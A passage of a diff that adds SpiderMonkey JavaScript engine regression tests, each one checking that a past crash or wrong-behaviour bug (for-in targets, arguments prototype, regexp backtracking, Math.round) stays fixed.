+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 317714;
+var summary = 'Regression test for regression from bug 316885';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var r3="-1";
+r3[0]++;
+
+reportCompare(expect, actual, summary);
+
+
diff --git a/js/src/tests/non262/regress/regress-319384.js b/js/src/tests/non262/regress/regress-319384.js
new file mode 100644
index 0000000000..bac8dd6e0b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-319384.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 319384;
+var summary = 'Do not crash converting string to number';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('This test only runs in the browser');
+
+if (typeof clearTimeout === 'function')
+{
+ try
+ {
+ clearTimeout('foo');
+ }
+ catch(ex)
+ {
+ }
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-319391.js b/js/src/tests/non262/regress/regress-319391.js
new file mode 100644
index 0000000000..aebb60c434
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-319391.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 319391;
+var summary = 'Assignment to eval(...) should be runtime error';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var b = {};
+
+expect = 'error';
+try
+{
+ if (1) { eval("b.z") = 3; }
+ actual = 'no error';
+}
+catch(ex)
+{
+ actual = 'error';
+}
+reportCompare(expect, actual, summary);
+
+expect = 'no error';
+try
+{
+ if (0) { eval("b.z") = 3; }
+ actual = 'no error';
+}
+catch(ex)
+{
+ actual = 'error';
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-320032.js b/js/src/tests/non262/regress/regress-320032.js
new file mode 100644
index 0000000000..ded2e98a93
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-320032.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 320032;
+var summary = 'Parenthesization should not dereference ECMA Reference type';
+var actual = 'No error';
+var expect = 'No error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof document != 'undefined' && 'getElementById' in document)
+{
+ try
+ {
+ (document.getElementById)("x");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-320172.js b/js/src/tests/non262/regress/regress-320172.js
new file mode 100644
index 0000000000..3992195d1d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-320172.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 320172;
+var summary = 'Regression from bug 285219';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ (function xxx(){ ["var x"].forEach(eval); })();
+}
+catch(ex)
+{
+}
+
+printStatus('No Crash');
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-321757.js b/js/src/tests/non262/regress/regress-321757.js
new file mode 100644
index 0000000000..268d737cfc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-321757.js
@@ -0,0 +1,109 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 321757;
+var summary = 'Compound assignment operators should not bind LHS';
+var actual = '';
+var expect = 'pass';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ foo += 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': +=');
+
+try
+{
+ foo -= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': -=');
+
+try
+{
+ foo *= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': *=');
+
+try
+{
+ foo /= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': /=');
+
+try
+{
+ foo %= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': %=');
+
+try
+{
+ foo <<= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': <<=');
+
+try
+{
+ foo >>= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': >>=');
+
+try
+{
+ foo >>>= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': >>>=');
diff --git a/js/src/tests/non262/regress/regress-321874.js b/js/src/tests/non262/regress/regress-321874.js
new file mode 100644
index 0000000000..d6fbf77c29
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-321874.js
@@ -0,0 +1,207 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 321874;
+var summary = 'lhs must be a reference in (for lhs in rhs) ...';
+var actual = '';
+var expect = '';
+var section;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function a() {}
+var b = {foo: 'bar'};
+
+printStatus('for-in tests');
+
+var v;
+section = summary + ': for((v) in b);';
+expect = 'foo';
+printStatus(section);
+try
+{
+ eval('for ((v) in b);');
+ actual = v;
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, section);
+
+section = summary + ': function foo(){for((v) in b);};foo();';
+expect = 'foo';
+printStatus(section);
+try
+{
+ eval('function foo(){ for ((v) in b);}; foo();');
+ actual = v;
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, section);
+
+section = summary + ': for(a() in b);';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('for (a() in b);');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, section);
+
+section = summary + ': function foo(){for(a() in b);};foo();';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('function foo(){ for (a() in b);};foo();');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, section);
+
+section = ': for(new a() in b);';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('for (new a() in b);');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+section = ': function foo(){for(new a() in b);};foo();';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('function foo(){ for (new a() in b);};foo();');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+section = ': for(void in b);';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('for (void in b);');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+section = ': function foo(){for(void in b);};foo();';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('function foo(){ for (void in b);};foo();');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+var d = 1;
+var e = 2;
+expect = 'error';
+section = ': for((d*e) in b);';
+printStatus(section);
+try
+{
+ eval('for ((d*e) in b);');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+var d = 1;
+var e = 2;
+expect = 'error';
+section = ': function foo(){for((d*e) in b);};foo();';
+printStatus(section);
+try
+{
+ eval('function foo(){ for ((d*e) in b);};foo();');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+const c = 0;
+expect = 'error';
+section = ': for(c in b);';
+printStatus(section);
+try
+{
+ eval('for (c in b);');
+ actual = c;
+ printStatus('typeof c: ' + (typeof c) + ', c: ' + c);
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+expect = 'error';
+section = ': function foo(){for(c in b);};foo();';
+printStatus(section);
+try
+{
+ eval('function foo(){ for (c in b);};foo();');
+ actual = c;
+ printStatus('typeof c: ' + (typeof c) + ', c: ' + c);
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
diff --git a/js/src/tests/non262/regress/regress-321971.js b/js/src/tests/non262/regress/regress-321971.js
new file mode 100644
index 0000000000..c40b1f47b4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-321971.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 321971;
+var summary = 'JSOP_FINDNAME replaces JSOP_BINDNAME';
+var actual = 'no error';
+var expect = 'no error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var s='';
+for (i=0; i < 1<<16; i++)
+ s += 'x' + i + '=' + i + ';\n';
+
+s += 'foo=' + i + ';\n';
+eval(s);
+foo;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-325925.js b/js/src/tests/non262/regress/regress-325925.js
new file mode 100644
index 0000000000..e75415b105
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-325925.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 325925;
+var summary = 'Do not Assert: c <= cs->length in AddCharacterToCharSet';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/[\cA]/.exec('\x01');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-326467.js b/js/src/tests/non262/regress/regress-326467.js
new file mode 100644
index 0000000000..5dc1f59b5d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-326467.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 326467;
+var summary = 'Do not assert: slot < fp->nvars, at jsinterp.c';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+eval('for(var prop in {1:1})prop;', {})
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-328012.js b/js/src/tests/non262/regress/regress-328012.js
new file mode 100644
index 0000000000..8ccc673b6e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-328012.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 328012;
+var summary = 'Content PropertyIterator should not root in chrome';
+var actual = 'No Error';
+var expect = 'No Error';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof focus != 'undefined' && focus.prototype)
+{
+ try
+ {
+ for (prop in focus.prototype.toString)
+ ;
+ }
+ catch(ex)
+ {
+ printStatus(ex + '');
+ actual = ex + '';
+ }
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-328664.js b/js/src/tests/non262/regress/regress-328664.js
new file mode 100644
index 0000000000..be744f8fac
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-328664.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 328664;
+var summary = 'Correct error message for funccall(undefined, undefined.prop)';
+var actual = '';
+var expect = /TypeError: .*value.parameters (has no properties|is undefined)/;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var value = {};
+
+function funccall(a,b)
+{
+}
+
+try
+{
+ funccall(value[1], value.parameters[1]);
+}
+catch(ex)
+{
+ printStatus(ex);
+ actual = ex + '';
+}
+
+reportMatch(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-329383.js b/js/src/tests/non262/regress/regress-329383.js
new file mode 100644
index 0000000000..00c7260cae
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-329383.js
@@ -0,0 +1,83 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 329383;
+var summary = 'Math copysign issues';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var inputs = [
+ -Infinity,
+ -10.01,
+ -9.01,
+ -8.01,
+ -7.01,
+ -6.01,
+ -5.01,
+ -4.01,
+ -Math.PI,
+ -3.01,
+ -2.01,
+ -1.01,
+ -0.5,
+ -0.49,
+ -0.01,
+ -0,
+ 0,
+ +0,
+ 0.01,
+ 0.49,
+ 0.50,
+ 0,
+ 1.01,
+ 2.01,
+ 3.01,
+ Math.PI,
+ 4.01,
+ 5.01,
+ 6.01,
+ 7.01,
+ 8.01,
+ 9.01,
+ 10.01,
+ Infinity
+ ];
+
+var iinput;
+
+for (iinput = 0; iinput < inputs.length; iinput++)
+{
+ var input = inputs[iinput];
+ reportCompare(Math.round(input),
+ emulateRound(input),
+ summary + ': Math.round(' + input + ')');
+}
+
+reportCompare(isNaN(Math.round(NaN)),
+ isNaN(emulateRound(NaN)),
+ summary + ': Math.round(' + input + ')');
+
+function emulateRound(x)
+{
+ if (!isFinite(x) || x === 0) return x
+ if (-0.5 <= x && x < 0) return -0
+ return Math.floor(x + 0.5)
+ }
+
+var z;
+
+z = Math.min(-0, 0);
+
+reportCompare(-Math.PI, Math.atan2(z, z), summary + ': Math.atan2(-0, -0)');
+reportCompare(-Infinity, 1/z, summary + ': 1/-0');
+
+z = Math.max(-0, 0);
+
+reportCompare(0, Math.atan2(z, z), summary + ': Math.atan2(0, 0)');
+reportCompare(Infinity, 1/z, summary + ': 1/0');
diff --git a/js/src/tests/non262/regress/regress-329530.js b/js/src/tests/non262/regress/regress-329530.js
new file mode 100644
index 0000000000..05aa1e78bf
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-329530.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 329530;
+var summary = 'Do not crash when calling toString on a deeply nested function';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+var nestingLevel = 1000;
+
+function buildTestFunction(N) {
+ var i, funSourceStart = "", funSourceEnd = "";
+ for (i=0; i < N; ++i) {
+ funSourceStart += "function testFoo() {";
+ funSourceEnd += "}";
+ }
+ return Function(funSourceStart + funSourceEnd);
+}
+
+try
+{
+ var testSource = buildTestFunction(nestingLevel).toString();
+ printStatus(testSource.length);
+}
+catch(ex)
+{
+ printStatus(ex + '');
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-330352.js b/js/src/tests/non262/regress/regress-330352.js
new file mode 100644
index 0000000000..a33c617625
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-330352.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 330352;
+var summary = 'Very non-greedy regexp causes crash in jsregexp.c';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+if ("AB".match(/(.*?)*?B/))
+{
+ printStatus(RegExp.lastMatch);
+}
+reportCompare(expect, actual, summary + ': "AB".match(/(.*?)*?B/)');
+
+if ("AB".match(/(.*)*?B/))
+{
+ printStatus(RegExp.lastMatch);
+}
+reportCompare(expect, actual, summary + ': "AB".match(/(.*)*?B/)');
+
+if ("AB".match(/(.*?)*B/))
+{
+ printStatus(RegExp.lastMatch);
+}
+reportCompare(expect, actual, summary + ': "AB".match(/(.*?)*B/)');
diff --git a/js/src/tests/non262/regress/regress-330951.js b/js/src/tests/non262/regress/regress-330951.js
new file mode 100644
index 0000000000..a7b2140239
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-330951.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 330951;
+var summary = 'Crash in Array.sort on array with undefined value';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+[undefined,1].sort();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-334807-01.js b/js/src/tests/non262/regress/regress-334807-01.js
new file mode 100644
index 0000000000..977b97fc11
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-334807-01.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '10.1.8 - arguments prototype is the original Object prototype';
+var actual = 'No Error';
+var expect = 'TypeError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ (function () { printStatus( arguments.join()); })( 1, 2, 3 );
+}
+catch(ex)
+{
+ printStatus(ex + '');
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-334807-02.js b/js/src/tests/non262/regress/regress-334807-02.js
new file mode 100644
index 0000000000..59b616695d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-334807-02.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '10.1.8 - arguments prototype is the original Object prototype.';
+var actual = 'No Error';
+var expect = 'TypeError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('set Object = Array');
+
+Object = Array;
+
+try
+{
+ (function () { printStatus( arguments.join()); })( 1, 2, 3 );
+}
+catch(ex)
+{
+ printStatus(ex + '');
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-334807-03.js b/js/src/tests/non262/regress/regress-334807-03.js
new file mode 100644
index 0000000000..ae4e6a87d8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-334807-03.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '10.1.8 - arguments prototype is the original Object prototype';
+var actual = 'No Error';
+var expect = 'TypeError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ 0, function () { printStatus( arguments.join()); }( 1, 2, 3 );
+}
+catch(ex)
+{
+ printStatus(ex + '');
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-334807-04.js b/js/src/tests/non262/regress/regress-334807-04.js
new file mode 100644
index 0000000000..4c229ceb35
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-334807-04.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '10.1.8 - arguments prototype is the original Object prototype.';
+var actual = 'No Error';
+var expect = 'TypeError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('set Object = Array');
+
+Object = Array;
+
+try
+{
+ 0, function () { printStatus( arguments.join()); }( 1, 2, 3 );
+}
+catch(ex)
+{
+ printStatus(ex + '');
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-334807-05.js b/js/src/tests/non262/regress/regress-334807-05.js
new file mode 100644
index 0000000000..02e698c50e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-334807-05.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '12.14 - exception prototype is the original Object prototype.';
+var actual = 'No Error';
+var expect = 'ReferenceError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ x.y;
+}
+catch(ex)
+{
+ try
+ {
+ actual = ex.name;
+ printStatus(ex + ': x.y');
+ ex.valueOf();
+ }
+ catch(ex2)
+ {
+ printStatus(ex2 + ': ex.valueOf()');
+ actual = ex2.name;
+ }
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-334807-06.js b/js/src/tests/non262/regress/regress-334807-06.js
new file mode 100644
index 0000000000..46ca2c6645
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-334807-06.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '12.14 - exception prototype is the original Object prototype.';
+var actual = 'No Error';
+var expect = 'ReferenceError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('set Error = Number');
+
+Error = Number;
+
+try
+{
+ x.y;
+}
+catch(ex)
+{
+ try
+ {
+ actual = ex.name;
+ printStatus(ex + ': x.y');
+ ex.valueOf();
+ }
+ catch(ex2)
+ {
+ printStatus(ex2 + ': ex.valueOf()');
+ actual = ex2.name;
+ }
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-336100.js b/js/src/tests/non262/regress/regress-336100.js
new file mode 100644
index 0000000000..9f19e761c2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-336100.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 336100;
+var summary = 'bug 336100 - arguments regressed';
+var actual = '';
+var expect;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var arguments = [];
+
+expect = '[object Arguments]';
+actual = (function(){return (arguments + '');})();
+reportCompare(expect, actual, summary);
+
+// see bug 336100 comment 29
+expect = '';
+actual = (function(){with (this) return(arguments + '');})();
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-338307.js b/js/src/tests/non262/regress/regress-338307.js
new file mode 100644
index 0000000000..2e35cfd003
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-338307.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338307;
+var summary = 'for (i in arguments) causes type error (JS_1_7_ALPHA_BRANCH)';
+var actual = '';
+var expect = 'No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f() {
+ for (var i in arguments);
+}
+
+try
+{
+ f();
+ actual = 'No Error';
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-340369.js b/js/src/tests/non262/regress/regress-340369.js
new file mode 100644
index 0000000000..61dfd2ce26
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-340369.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 340369;
+var summary = 'Oh for crying out loud.';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('return /;');
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-341360.js b/js/src/tests/non262/regress/regress-341360.js
new file mode 100644
index 0000000000..1ff7192dda
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-341360.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(xulRuntime.shell||(xulRuntime.OS=="WINNT"&&isDebugBuild)) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341360;
+var summary = 'clearInterval broken';
+var actual = '';
+var expect = 'Ok';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function xxx()
+{
+ if(t != null)
+ {
+ print('Clearing interval...');
+ window.clearInterval(t);
+ t = null;
